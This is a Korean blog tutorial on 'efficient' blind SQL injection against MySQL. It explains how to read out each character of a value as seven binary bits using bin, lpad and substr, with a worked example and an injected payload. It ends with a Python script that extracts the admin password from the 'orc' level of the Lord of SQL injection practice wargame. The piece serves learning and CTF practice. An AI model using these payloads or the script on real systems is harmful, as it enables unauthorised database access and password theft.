Efficient Blind SQL injection
Efficient Blind SQL injection 즉, 효율적인 블라인드 SQLi란 말 그대로 효율을 극대화한 블라인드 SQLi이다.
기존 Blind SQLi는 한 글자를 알아내기위해최대(big-O)
26번
이고 만약 대소문자를 구분한다면 26*2인52번
의 공격 시도를 해야한다.하지만 Efficient Blind SQLi는 문자를 2진수로 바꾸어 최대(big-O)
7번
의 시도만으로 한 글자를 알아 낼 수 있다.
개념 설명
MySQL의 경우 bin()
이라는 함수가 존재한다.
이 함수는 int를 binary로 바꾸어주는 함수. 즉, 10진수를 2진수로 바꾸어 주는 함수이다.
이를 이용해 영문자의 ascii 범위인 32 ~ 126사이의 수를 binary로 표현 하면,
0100000 ~ 1111110 가 된되며 최대 7자리의 2진수가 생기게 된다. (∵ascii(‘ ‘) ~ ascii(‘~’)가 32~126 까지이기 때문 )
이를 다시 한글자씩 뽑아내면 7번의 시도로 해당 글자를 알수 있다.
이해가 힘들다면 아래의 예를 보자.
Bfficient Blind SQLi Example
character : char= ‘q’
- 먼저 찾을 문자를 뽑아 낸다.
>> substr(char,1,1) - 뽑은 값을 ascii로 변환시켜준다.
>> ascii(substr(char,1,1)) - 해당 값을 bin()함수를 이용해 binary로 변환 시켜준다.
>> bin(ascii(substr(char,1,1))) - * 7자리를 체워준다. (∵MySQL은 0011(2)을 11(2)로 출력하기때문)
>> lpad(bin(ascii(substr(char,1,1))),7,0) - 이를 다시 substr로 한글자씩 뽑아 찾는다.
>> substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1)
Example payload : char=’ substr(lpad(bin(ascii(substr(pw,1,1))),7,0),1,1)=1
substr(lpad(bin(ascii(substr(char,1,1))),7,0),1,1) = 1 >> True [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),2,1) = 1 >> True [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),3,1) = 1 >> True [1]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),4,1) = 1 >> False [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),5,1) = 1 >> False [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),6,1) = 1 >> False [0]
substr(lpad(bin(ascii(substr(char,1,1))),7,0),7,1) = 1 >> True [1]
bin(ascii(‘q’)) = 1110001
이와 같은 방법으로 찾을 수 있다.
실습
실습은 Lord of SQL injection의 문제중 Orc문제로 해보면 이해가 더 쉽다.
Efficient Blind SQL injection Source Code
import requests import urllib silnex='' url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=" for chr_l in range(1,9): binary='' for bin_l in range(1,8): param="' or id='admin' and substr(lpad(bin(ascii(substr(pw,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)%261%23" s=requests.get(url+param,cookies={'PHPSESSID':'SESSION HERE'}) print url+param if "<h2>Hello admin</h2>" in s.text: binary+='1' else: binary+='0' print binary silnex = silnex+('%x' % int(binary, 2)).decode('hex') print silnex